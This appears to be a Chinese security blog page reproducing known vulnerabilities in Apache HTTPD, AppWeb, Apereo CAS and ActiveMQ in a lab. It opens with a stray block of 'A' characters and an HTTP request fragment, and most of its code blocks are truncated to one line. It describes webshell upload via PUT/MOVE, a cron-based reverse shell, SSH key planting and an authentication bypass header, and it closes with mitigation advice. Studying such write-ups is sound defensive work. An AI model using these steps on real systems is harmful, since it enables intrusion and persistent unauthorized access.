AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1 |
完成
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
漏洞简介
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
漏洞原理
其中指定的表达式可以将“ $”与恶意文件名中的换行符匹配,而不是仅匹配文件名的末尾。
表示配置匹配后缀名文件的防盗链,而这个解析漏洞根本原因就是$
这个符号,这个符号在正则表达式中是匹配字符串中结尾的位置,也就是说可以利用换行符使$ 与其匹配从而绕过黑名单机制实现文件上传,验证逻辑又是先会对上传的文件正则匹配验证后缀名是否包含了php,因为解析漏洞的存在,这里不会过滤php%0a,后续的黑名单机制也就如同摆设了
再解释一下
在该版本的配置中
1 | <FilesMatch \.php$> |
该部分内容就是只有匹配上面的正则表达式就可以进行绕过
使用我们在看一看正则表达式中$
的意思
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 $。
所以如果设置RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符(也就是%0a)
影响范围
2.4.0~2.4.29
漏洞复现
打开直接上传php文件是这样的
那直接该呗
或者这样,直接插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:
然后访问上传的文件名+%0a
,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
AppWeb 认证绕过漏洞(CVE-2018-8715)
Appweb简介
Appweb是一个HTTP Web服务器。这是直接集成到客 户的应用和设备,便于开发和部署基于Web的应用程序和设备。
AppWeb可以进行认证配置,其认证方式包括以下三种:
1 | basic 传统HTTP基础认证 |
漏洞描述
其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功, 并返回session。
1 | 14559 static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op) |
文件http / httpLib.c - 函数httpGetCredentials()
此函数接收两个指向char数组的指针,这些指针将包含从请求中解析的用户名和密码。由于authCondition中没有检查,因此“parseAuth”函数失败并不重要,这意味着我们可以在WWW-Authenticate标头或post数据中插入我们想要的任何字段进行身份验证:
1 | 1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the |
文件http / httpLib.c –函数httpLogin()
此函数将检查用户名是否不为null,如果已经存在会话,则密码指针可以改为null。
1 | 1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password) |
为了能够绕过身份验证,我们需要能够传递空密码指针,幸运的是,对于表单和摘要身份验证,用于解析身份验证详细信息的函数(第1666行)将允许我们设置空密码指针,并且即使返回错误,最终也不会被authCondition检查,允许我们完全绕过身份验证,利用这个的唯一条件是知道hashmap中的用户名。
为了克服这个限制,必须考虑到散列映射的大小通常很小,并且散列映射中使用的散列算法(FNV)很弱:尝试次数有限,可能会发现冲突,并且登录不知道有效的用户名(未经测试)。
漏洞原理
由于身份验证过程中的逻辑缺陷,知道目标用户名,因此可以通过精心设计的HTTP POST请求完全绕过表单和摘要类型身份验证的身份验证。
文件http / httpLib.c - function authCondition()
该函数负责调用负责认证的两个函数:getCredentials和httpLogin。注意httpGetCredentials周围缺少检查,之后分析会用到这个条件
漏洞前提
该漏洞的存在,必须知道用户名!
漏洞影响范围:
Appweb 7.0.2及早期版本。
复现过程:
打开一看就要登录
构造的get数据包,加入我们构造的usename字段,注意用户名是已经存在的才可以进行构造
1 | Authorization: Digest username="admin" |
可以看到已经获取到了session
改为POST
传参,插入获取到的session
发包
当然也可以利用浏览器插件去发送session
Apereo CAS 4.1 反序列化漏洞复现
漏洞简介
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
影响版本
Apereo CAS <= 4.1.7
漏洞复现
打开后是个这样子
登录的时候发现
该漏洞存在于登录的execution参数,所以使用Burp抓包。
漏洞原理
漏洞原理是Webflow中使用了默认密钥changeit:
1 | public class EncryptedTranscoder implements Transcoder { |
Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088) 复现
漏洞背景
ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。
漏洞原理
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 ActiveMQ 5.7.0 源码 ,可以看到后台处理 PUT 的关键代码如下
用户可以上传文件到指定目录,该路径在 conf/jetty.xml
中定义,如下
有趣的是,我们伪造一个特殊的上传路径,可以爆出绝对路径
顺着 PUT 方法追踪,可以看到调用了如下函数
同时看到后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。
由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。
影响版本
Apache Group ActiveMQ 5.0.0 - 5.13.2
Apache ActiveMQ 5.x ~ 5.14.0
ActiveMQ 可作为关键词检索
漏洞复现
直接写shell
写 shell 的话,需要写在 admin 或者 api 中,也就是需要登录,没有密码的话完成不了写 shell 操作。
(我是用vulhub的环境)该环境默认的口令为 admin/admin。
访问 http://ip:8161/admin/test/systemProperties.jsp
获取当前系统的路径
构造发包
1 | PUT /fileserver/2.txt HTTP/1.1 |
我用的是这个jsp小马
1 | <%@ page import="java.io.*" %> |
发过去后回显204,在 fileserver 路径下不解析
然后移动到 api 目录下,成功的话,返回 204 No Content
1 | MOVE /fileserver/2.txt HTTP/1.1 |
执行命令
写入crontab(计划任务)自动化弹shell
这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)
构造包
1 | PUT /fileserver/1.txt HTTP/1.1 |
将其移动到/etc/cron.d/root:
如果上述两个请求都返回204了,说明写入成功。等待反弹shell:
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。
上传SSH公钥
既然可以任意文件上传和移动,很自然的可以想到上传我们的 ssh 公钥,从而实现 SSH 方式登录。
首先生成密钥对。(如果已存在则不需要)
1 | ssh-keygen -t rsa |
然后上传、移动到/root/.ssh/
并重命名为authorized_keys
之后SSH登录即可
漏洞防护方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 conf\jetty.xml
的以下配置来禁用 ActiveMQ Fileserver 功能